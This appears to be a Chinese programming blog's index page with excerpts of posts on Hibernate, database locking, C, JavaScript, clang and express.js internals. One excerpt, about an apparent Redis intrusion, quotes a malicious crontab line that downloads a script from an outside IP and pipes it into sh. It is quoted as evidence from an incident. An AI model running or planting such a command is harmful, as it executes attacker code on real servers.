最新

java

hibernate 测试

问题 线上出现了一个问题,跟hibernate相关,所以想先搭建一下环境测试 环境 用的idea旗舰版,很不好意思是破解的,本来是想买正版的,但是正式实在是太贵了。 新建项目Maven,使用SDK jdk 1.8 选择Create from archetype, maven-archetype-webapp项目 项目目录,如下 问题 问题1 写测试样例的时候,报错了 四月 25, 2017 8:15:35 下午 org.junit.platform.launcher.core.ServiceLoaderTestEngineRegistry loadTestEngines 信息: Discovered TestEngines with IDs: [junit-jupiter, junit-vintage] Exception

By chainhelen

数据库

数据库并发锁

问题 之前让同事修改需求,实现商品列表页上的每个购物车图标按钮,点击能够局部刷新用户的购物车 购物车数据库是这样设计的,每条数据主要跟用户id、商家id、商品id有关;另外还有一个字段是count,也就是说用户对某个商品的购物车数据就是该count 1. 如果查到三条信息一致的记录,那么就update原来的那条记录 count + 1 2. 如果没有查到这样的记录,那么insert一条 count = 1 的数据 问题就是这个insert;不然只有update的话,按照原来我写的文章 mysql数据一致性闲谈,搞一个悲观锁就ok了 问题场景 当一个新的用户,连续两次快速点击同一个商品的购物车按钮(前端没有做同步,允许并发),后台的ssh结构会导致两个线程都进入了上述情况2中 简化问题 因为我对java不是很熟,我们来把原有问题简化成如下问题 import java.util.*; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLo

By chainhelen

redis

Redis入侵服务器

redis集群 之前打算用redis作为session的缓存,然后让同事去配置了redis集群。测试环境流程ok,在生产环境并没有直接合入,只是单纯地搭建了redis集群数据库。 发现问题 因为我们有自动化备份数据,利用linux自带的cron工具,每天凌晨2点去执行备份数据库脚本,但是我们运维人员某天去检查的时候,发现当天的凌晨2点并没有产生备份数据库。沿着线索发现cron的文本已经被修改了 cd /var/spool/cron/crontabs/ //文件位置 cat root //查看文件 REDIS0007dis-ver3.2.8edis-bitsctimeXed-mem */1 * * * * curl -L http://218.38.3.16:9999/i.sh?6379 | sh test1SUCCESSkey1 那么这个.sh是什么? export PATH=$PATH:/bin:/usr/

By chainhelen

c语言

extern c

函数签名 Function Signature,函数签名包含了一个函数的信息,包括函数名、它的参数类型、它所在的类和名称空间及其他信息。 编译过程中,编译器(或者链接器)处理符号时,他们使用某种名称修饰的方法,使得每个函数签名对应一个修饰后名称(Decorated Name)。 (内容主要摘抄《程序员的自我修养》) 以下表格是c++代码编译过后在gcc编译器下的符号名 函数签名 修饰后名称(符号名) int func(float) _Z4funcf float func(float) _Z4funcf int C::func(int) _ZN1C4funcEi int C::C2::func(int) _ZN1C2C24funcEi int N::func(int) _ZN1N4funcEi int N::C::func(

By chainhelen

js

js valueOf

toString的区别 valueOf():返回最适合该对象类型的原始值; toString(): 将该对象的原始值以字符串形式返回。 在数值运算里,会优先调用valueOf(),如a + b; 在字符串运算里,会优先调用toString(),如alert(c)。 知乎来源 我在网上找到的其他例子,放在crhome里面跑,或者nodejsV7.7.2都是不同的 所以有理由相信,之前的js实现跟当前流行的是不一样的,下面以nodejs为主 var c = { i: 10, valueOf: function () { console.log("valueOf --->") return this.i + 30; }, toString: function () { console.log("toString --->") return this.i + 10;

By chainhelen

c语言

编译clang

环境 windows10 vs2015update3 community版 cmake3.7.2 Python 3.5.3 GnuWin32 tools llvm4.0源码 安装过程 首先安装vs2015updaate3 community版,双击iso镜像文件,win10系统自动挂载,在虚拟镜像里面双击vs_community.exe,选择默认安装即可 python、cmake安装过程比较简单,但是确保安装完成后都在环境变量PATH里面 唯一不一样的地方是我并没有安装GnuWin32,我装了codeblock(默认有mingw),然后把lib,include,bin目录都加在环境变量PATH里面,接在再添加了环境变量include,lib 下载llvm-4.0.0.src.tar.xz源码,改名llvm,解压作为源码根目录 下载cfe-4.0.0.src.tar.

By chainhelen
c语言内存分配

编译原理

c语言内存分配

背景 网上的关于c语言内存分配的文章满天飞,先随便荡一份事例,但是从不同的角度讲一下这个案例 对于下面的代码生成的程序,基本采用如下命令反编译 objdump -M intel -s -d -x main.o | objdump -s -x -d -M intel a.out | nl -ba -M intel 输出intel寄存格式,便于阅读 -s 输出section的信息 -d 反汇编.text的逻辑 -x 尽可能反编译信息 全局/静态初始化 首先看看全局初始化过的变量,它应该在反汇编哪个地方呢? 就是代码中变量 a 所对应的 100 #include <stdio.h> int a

By chainhelen

js

express.js 源码四探 —— application篇

本篇 本篇是这个系列的第四篇,谢谢各位的建议 环境 保持与之前的版本一致,源码版本是express.js 4.14.1 application源码 app.init 戳这里,初始化app的一些参数 //导出的是这个app实例 var app = exports = module.exports = {}; //这个后面再讨论,关于代理 var trustProxyDefaultSymbol = '@@symbol:trust_proxy_default'; //cache、engines、settings属性设置为空对象 app.init = function init() { this.cache = {}; this.engines = {}; this.settings = {}; //运行下面的默认配置函数 this.defaultConfiguration(); }; app.defaultConfiguration 一

By chainhelen

c语言

C语言不完全类型、延迟定义

问题 今天看到《自制编程语言》里面的提到这个不完全类型,我还真不知道 细节 大概是这样的,不让别人知道我们代码内部实现细节 比如我们实现一个栈,我们把数据结构的定义放在头文件里面,然后别人include我们头文件的时候(并添加.o),就能看到具体细节,比如可能就会主动操作里面的num或者array,破坏封装性 #ifndef STACK_H #define STACK_H typedef struct Stack{ int num; int array[MAX_N]; }Stack; #endif 实现 按照如下实现就不会有这样的问题 //stack.h #include <stdio.h> #include<stdlib.h> #include<string.

By chainhelen
express.js 源码三探 —— response篇

js

express.js 源码三探 —— response篇

本篇 本篇是这个系列的第三篇,谢谢各位的建议 环境 保持与之前的版本一致,源码版本是express.js 4.14.1 response源码 Object.create 打开response.js,从上往下看代码,代码具体戳这里 var res = module.exports = { __proto__: http.ServerResponse.prototype }; 上一篇我们讲到request对象和http.IncomingMessage的关系,那么类似的response和ServerResponse也是一样的 但是注意最新的express代码中已经不用这个,采用Object.create(),看最新的代码 var res = Object.create(http.ServerResponse.prototype) Object.create是E5中提出的一种新的对象创建方式,本质上也是把res.__proto__指向ServerResponse.prototype res.status res.status = f

By chainhelen